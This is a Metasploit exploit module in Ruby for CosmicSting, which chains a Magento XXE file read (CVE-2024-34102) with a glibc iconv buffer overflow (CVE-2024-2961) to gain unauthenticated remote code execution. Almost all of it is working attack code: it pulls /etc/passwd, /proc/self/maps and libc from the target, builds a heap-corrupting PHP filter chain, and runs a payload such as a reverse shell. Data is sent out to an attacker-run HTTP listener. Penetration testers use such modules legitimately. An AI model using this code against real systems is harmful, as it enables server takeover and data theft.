## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Retry prepend Msf::Exploit::Remote::AutoCheck require 'elftools' class ProcSelfMapsError < StandardError; end PAD = 20 HEAP_SIZE = 2 * 1024 * 1024 BUG = '劄' def initialize(info = {}) super( update_info( info, 'Name' => 'CosmicSting: Magento Arbitrary File Read (CVE-2024-34102) + PHP Buffer Overflow in the iconv() function of glibc (CVE-2024-2961)', 'Description' => %q{ This combination of an Arbitrary File Read (CVE-2024-34102) and a Buffer Overflow in glibc (CVE-2024-2961) allows for unauthenticated Remote Code Execution on the following versions of Magento and Adobe Commerce and earlier if the PHP and glibc versions are also vulnerable: - 2.4.7 and earlier - 2.4.6-p5 and earlier - 2.4.5-p7 and earlier - 2.4.4-p8 and earlier Vulnerable PHP versions: - From PHP 7.0.0 (2015) to 8.3.7 (2024) Vulnerable iconv() function in the GNU C Library: - 2.39 and earlier The exploit chain is quite interesting and for more detailed information check out the references. The tl;dr being: CVE-2024-34102 is an XML External Entity vulnerability leveraging PHP filters to read arbitrary files from the target system. The exploit chain uses this to read /proc/self/maps, providing the address of PHP's heap and the libc's filename. The libc is then downloaded, and the offsets of libc_malloc, libc_system and libc_realloc are extracted, and made use of later in the chain. With this information and expert knowledge of PHP's heap (chunks, free lists, buckets, bucket brigades), CVE-2024-2961 can be exploited. A long chain of PHP filters is constructed and sent in the same way the XXE is exploited, building a payload in memory and using the buffer overflow to execute it, resulting in an unauthenticated RCE. }, 'Author' => [ 'Sergey Temnikov', # CVE-2024-34102 Discovery 'Charles Fol', # CVE-2024-2961 Discovery + RCE PoC 'Heyder', # module for CVE-2024-34102 'jheysel-r7' # module ], 'References' => [ [ 'URL', 'https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md'], [ 'URL', 'https://sansec.io/research/cosmicsting'], [ 'URL', 'https://www.ambionics.io/blog/iconv-cve-2024-2961-p1'], [ 'URL', 'https://github.com/ambionics/cnext-exploits/blob/main/cosmicsting-cnext-exploit.py'], # PoC this module is based on [ 'CVE', '2024-2961'], [ 'CVE', '2024-34102'] ], 'License' => MSF_LICENSE, 'Platform' => %w[linux unix], 'Privileged' => false, 'Arch' => [ ARCH_CMD ], 'Targets' => [ [ 'Unix Command', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd # Tested with cmd/linux/http/x64/meterpreter_reverse_tcp } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => '2024-07-26', # The date the PoC for this exploit was made public 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION, ] } ) ) register_options( [ OptString.new('TARGETURI', [ true, 'The base path to the web application', '/']), OptInt.new('DOWNLOAD_FILE_TIMEOUT', [ true, 'The amount of time to wait for the XXE to return the file requested', 10]), ] ) end def check_magento etc_password = download_file('/etc/passwd') vprint_status('Attempting to download /etc/passwd') if etc_password.nil? CheckCode::Safe('Unable to download /etc/passwd via the Arbitrary File Read (CVE-2024-34102).') else CheckCode::Vulnerable('Exploit precondition 1/3 met: Downloading /etc/passwd via the Arbitrary File Read (CVE-2024-34102) was successful.') end end def check_php_rce_requirements text = Rex::Text.rand_text_alpha(50) base64 = Rex::Text.encode_base64(text) path1 = "data:text/plain;base64,#{base64}" result1 = download_file(path1) if result1 == text vprint_good('The data wrapper is working') else return CheckCode::Safe('The data:// wrapper does not work') end text = Rex::Text.rand_text_alpha(50) base64 = Rex::Text.encode_base64(text) path2 = "php://filter//resource=data:text/plain;base64,#{base64}" result2 = download_file(path2) if result2 == text vprint_good('The filter wrapper is working') else return CheckCode::Safe('The php://filter/ wrapper does not work') end text = Rex::Text.rand_text_alpha(50) compressed_text = compress(text) base64 = Base64.encode64(compressed_text).gsub("\n", '') path = "php://filter/zlib.inflate/resource=data:text/plain;base64,#{base64}" result3 = download_file(path) if result3 == text vprint_good('The zlib extension is enabled') else CheckCode::Safe('The zlib extension is not enabled') end CheckCode::Appears('Exploit precondition 2/3 met: PHP appears to be exploitable.') end def check_libc_version begin @libc_binary = get_libc rescue ProcSelfMapsError => e return CheckCode::Unknown("There was an issue processing /proc/self/maps which is required to extract the libc version: #{e.class}: #{e}") end return CheckCode::Unknown('Unable to download the glibc binary from the target which is required to exploit. Rerunning the module could fix this issue.') unless @libc_binary # A string similar to the following should appear in the binary: "GNU C Library (Debian GLIBC 2.36-9+deb12u4) stable release version 2.36." printable_strings = @libc_binary.scan(/[[:print:]]{20,}/).map(&:strip) libc_version = nil printable_strings.each do |string| if string =~ /GNU\s+C\s+Library.*version\s+(\d\.\d+)/ libc_version = Rex::Version.new(Regexp.last_match(1)) break end end CheckCode::Unknown('Unable to determine the version of libc') unless libc_version if libc_version > Rex::Version.new('2.39') CheckCode::Safe("glibc version is not vulnerable: #{libc_version}") end CheckCode::Appears("Exploit precondition 3/3 met: glibc is version: #{libc_version}") end def check setup_module print_status('module setup') magento_checkcode = check_magento return magento_checkcode unless magento_checkcode.code == 'vulnerable' print_good(magento_checkcode.reason) php_checkcode = check_php_rce_requirements return php_checkcode unless php_checkcode.code == 'appears' print_good(php_checkcode.reason) libc_version_checkcode = check_libc_version return libc_version_checkcode unless libc_version_checkcode.code == 'appears' print_good(libc_version_checkcode.reason) CheckCode::Appears end def download_file(file) @filter_path = "php://filter/convert.base64-encode/convert.base64-encode/resource=#{file}" @target_file = file @file_data = nil send_path(@filter_path) retry_until_truthy(timeout: datastore['DOWNLOAD_FILE_TIMEOUT']) do break if @file_data end @file_data end def send_path(path) @filter_path = Rex::Text.encode_base64(path) vprint_status('Sending XXE request') vprint_status("Filter path being sent: #{@filter_path}") system_entity = Rex::Text.rand_text_alpha_lower(4..8) xml = "" xml += "" xml += " %#{system_entity}; %#{@xxe_param}; " xml += ']' xml += "> &#{@xxe_exfil};" json = { address: { totalsReader: { collectorList: { totalCollector: { sourceData: { data: xml, options: 524290 } } } } } } res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{Rex::Text.rand_text_alpha(32)}/estimate-shipping-methods"), 'ctype' => 'application/json', 'data' => JSON.generate(json) }) res end def find_main_heap(regions) # Any anonymous RW region with a size greater than the base heap size is a candidate. # The heap is at the bottom of the region. heaps = regions.reverse.each_with_object([]) do |region, arr| next unless region[:permissions] == 'rw-p' && region[:stop] - region[:start] >= HEAP_SIZE && (region[:stop] & (HEAP_SIZE - 1)).zero? && ['', '[anon:zend_alloc]'].include?(region[:path]) arr << (region[:stop] - HEAP_SIZE + 0x40) end if heaps.empty? raise ProcSelfMapsError, "Unable to find PHP's main heap in memory by parsing /proc/self/maps" end first = heaps[0] if heaps.size > 1 heap_addresses = heaps.map { |heap| "0x#{heap.to_s(16)}" }.join(', ') vprint_status("Potential heaps: [i]#{heap_addresses}[/] (using first)") else vprint_status("Using [i]0x#{first.to_s(16)}[/] as heap") end vprint_good('Successfully extracted the location in memory of the PHP heap') first end def get_libc_region(regions, *names) libc_region = regions.find do |region| names.any? { |name| region[:path].include?(name) } end unless libc_region raise ProcSelfMapsError, 'Unable to locate libc region in /proc/self/maps' end vprint_good("Successfully located the libc region in memory: #{libc_region}") libc_region end def get_libc @regions ||= get_regions @info['heaps'] = find_main_heap(@regions) @libc_region ||= get_libc_region(@regions, 'libc-', 'libc.so') download_file(@libc_region[:path]) end def get_symbols_and_addresses begin @libc_binary ||= get_libc rescue ProcSelfMapsError => e fail_with(Failure::UnexpectedReply, "There was an issue processing /proc/self/maps which is required to extract the libc version: #{e.class}: #{e}") end fail_with(Failure::UnexpectedReply, 'Unable to download the glibc binary, which is required to exploit. Rerunning the module could fix this issue.') unless @libc_binary # ELFFile expects a file, instead of writing it to disk use StringIO libc_binary_file = StringIO.new(@libc_binary) elf = ELFTools::ELFFile.new(libc_binary_file) symtab_section = elf.section_by_name('.dynsym') symbols = symtab_section.symbols @info['__libc_malloc'] = nil @info['__libc_system'] = nil @info['__libc_realloc'] = nil symbols.each do |symbol| if ['__libc_malloc', '__libc_system', '__libc_realloc'].include? symbol.name @info[symbol.name] = symbol.header.st_value.to_i + @libc_region[:start] end end fail_with(Failure::BadConfig, 'Unable to get necessary symbols from libc.so') unless @info['__libc_malloc'] && @info['__libc_system'] && @info['__libc_realloc'] vprint_status("__libc_malloc: #{@info['__libc_malloc']}") vprint_status("__libc_system: #{@info['__libc_system']}") vprint_status("__libc_realloc: #{@info['__libc_realloc']}") end def get_regions # Obtains the memory regions of the PHP process by querying /proc/self/maps. maps = download_file('/proc/self/maps') raise ProcSelfMapsError, '/proc/self/maps was unable able to be downloaded' if maps.blank? maps = maps.force_encoding('UTF-8') pattern = /^([a-f0-9]+)-([a-f0-9]+)\b.*\s([-rwx]{3}[ps])\s(.+)$/ regions = [] # Example lines from: /proc/self/maps # 712eebe00000-712eec000000 rw-p 00000000 00:00 0 [anon:zend_alloc] # 712ef14aa000-712ef14ab000 rw-p 00007000 00:59 2144348 /opt/bitnami/apache/modules/mod_mime.so maps.each_line do |region| if (match = pattern.match(region)) start_addr = match[1].to_i(16) stop_addr = match[2].to_i(16) permissions = match[3] path = match[4] if path.include?('/') || path.include?('[') path = path.split(' ', 4).last else path = '' end current = { start: start_addr, stop: stop_addr, permissions: permissions, path: path } regions << current else raise ProcSelfMapsError, '/proc/self/maps is unparsable' end end vprint_good('Successfully downloaded /proc/self/maps and parsed regions') regions end def compress(data) # Compress the data and remove the 2-byte header and 4-byte checksum compressed_data = Zlib::Deflate.deflate(data, Zlib::BEST_COMPRESSION) compressed_data[2..-5] end def compressed_bucket(data) # Returns a chunk of size 0x8000 that, when dechunked, returns the data. chunked_chunk(data, 0x8000) end def qpe(data) # Emulates quoted-printable-encode. data.bytes.map { |x| sprintf('=%02X', x) }.join end def ptr_bucket(*ptrs, size: nil) # Raise an error if size is specified and doesn't match the expected length if size && ptrs.length * 8 != size fail_with(Failure::BadConfig, 'Size must match the length of pointers in ptr_bucket method') end bucket = ptrs.map { |ptr| p64(ptr) }.join bucket = qpe(bucket) bucket = chunked_chunk(bucket) bucket = chunked_chunk(bucket) bucket = chunked_chunk(bucket) bucket = compressed_bucket(bucket) bucket end def p64(value) [value].pack('Q') # Pack as 64-bit little-endian end def chunked_chunk(data, size = nil) if size.nil? size = data.bytesize + 8 end keep = data.bytesize + 2 # for "\n\n" hex_size = data.bytesize.to_s(16) padded_hex_size = hex_size.rjust(size - keep, '0') "#{padded_hex_size}\n#{data}\n".b end def build_exploit_path addr_free_slot = @info['heaps'] + 0x20 addr_custom_heap = @info['heaps'] + 0x0168 addr_fake_bin = addr_free_slot - 0x10 cs = 0x100 # Pad needs to stay at size 0x100 at every step pad_size = cs - 0x18 pad = "\x00" * pad_size 3.times { pad = chunked_chunk(pad, pad.length + 6) } pad = compressed_bucket(pad) step1_size = 1 step1 = "\x00" * step1_size step1 = chunked_chunk(step1) step1 = chunked_chunk(step1) step1 = chunked_chunk(step1, cs) step1 = compressed_bucket(step1) # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash" step2_size = 0x48 step2 = "\x00" * (step2_size + 8) step2 = chunked_chunk(step2, cs) step2 = chunked_chunk(step2) step2 = compressed_bucket(step2) step2_write_ptr = "0\n".ljust(step2_size, "\x00") + p64(addr_fake_bin) step2_write_ptr = chunked_chunk(step2_write_ptr, cs) step2_write_ptr = chunked_chunk(step2_write_ptr) step2_write_ptr = compressed_bucket(step2_write_ptr) step3_size = cs step3_overflow = ("\x00" * (step3_size - BUG.bytes.length) + "\xe5\x8a\x84") # BUG bytes step3_overflow = chunked_chunk(step3_overflow) step3_overflow = chunked_chunk(step3_overflow) step3_overflow = chunked_chunk(step3_overflow) step3_overflow = compressed_bucket(step3_overflow) step4_size = cs step4 = '=00' + "\x00" * (step4_size - 1) 3.times { step4 = chunked_chunk(step4) } step4 = compressed_bucket(step4) step4_pwn = ptr_bucket( 0x200000, 0, # free_slot 0, 0, addr_custom_heap, # 0x18 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, @info['heaps'], # 0x140 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, size: cs ) step4_custom_heap = ptr_bucket(@info['__libc_malloc'], @info['__libc_system'], @info['__libc_realloc'], size: 0x18) step4_use_custom_heap_size = 0x140 # Fetch payloads run the payload in the background and results in multiple sessions being returned. # If we prevent the payload from running in the background and kill the parent process after the payload completes # running successfully we ensure only one session gets returned and improves the stability allowing the exploit to # be run consecutively without issue. if payload.encoded.ends_with?(' &') command = "#{payload.encoded}& kill -9 $PPID" else command = "#{payload.encoded} && kill -9 $PPID" end command = (command + "\x00").b command = command.ljust(step4_use_custom_heap_size, "\x00".b) vprint_status("COMMAND: #{command}") step4_use_custom_heap = command step4_use_custom_heap = qpe(step4_use_custom_heap) step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) step4_use_custom_heap = compressed_bucket(step4_use_custom_heap) pages = ((step4 * 3) + step4_pwn + step4_custom_heap + step4_use_custom_heap + step3_overflow + (pad * PAD) + (step1 * 3) + step2_write_ptr + (step2 * 2)) resource = compress(compress(pages)) resource = Base64.encode64(resource.b) resource = "data:text/plain;base64,#{resource.gsub("\n", '')}" filters = [ # Create buckets 'zlib.inflate', 'zlib.inflate', # Step 0: Setup heap 'dechunk', 'convert.iconv.latin1.latin1', # Step 1: Reverse FL order 'dechunk', 'convert.iconv.latin1.latin1', # Step 2: Put fake pointer and make FL order back to normal 'dechunk', 'convert.iconv.latin1.latin1', # Step 3: Trigger overflow 'dechunk', 'convert.iconv.UTF-8.ISO-2022-CN-EXT', # Step 4: Allocate at arbitrary address and change zend_mm_heap 'convert.quoted-printable-decode', 'convert.iconv.latin1.latin1', ] filters_string = filters.join('/') "php://filter/#{filters_string}/resource=#{resource}" end def setup_module @url_file = Rex::Text.rand_text_alpha_lower(4..8) @url_data = Rex::Text.rand_text_alpha_lower(4..8) @xxe_param = Rex::Text.rand_text_alpha_lower(4..8) @xxe_exfil = Rex::Text.rand_text_alpha_lower(4..8) @info = Hash.new @module_setup_complete = true if datastore['SRVHOST'] == '0.0.0.0' || datastore['SRVHOST'] == '::' fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') end start_service({ 'Uri' => { 'Proc' => proc do |cli, req| on_request_uri(cli, req) end, 'Path' => '/' }, 'ssl' => false }) print_status('Server started') end def exploit setup_module unless @module_setup_complete fail_with(Failure::BadConfig, 'Payload is too big') if payload.encoded.length >= 0x140 # step4_use_custom_heap_size print_status('Attempting to parse libc to extract necessary symbols and addresses') get_symbols_and_addresses print_status('Attempting to build an exploit PHP filter path with the information extracted from libc and /proc/self/maps') path = build_exploit_path print_status('Sending payload...') send_path(path) end def cleanup # Clean and stop HTTP server if service begin service.remove_resource(datastore['URIPATH']) service.deref service.stop self.service = nil rescue StandardError => e print_error("Failed to stop http server due to #{e}") end end super end def on_request_uri(cli, req) super url_parts = req.uri.split('/') case url_parts[1] when @url_file path = Rex::Text.decode_base64(url_parts[2]) data = Rex::Text.rand_text_alpha_lower(4..8) response = " \">" send_response(cli, response) when @url_data @file_data = Rex::Text.decode_base64(Rex::Text.decode_base64(req.uri.sub(%r{^/#{@url_data}/}, ''))) send_response(cli, '') else print_bad('Server received an unexpected request.') end end end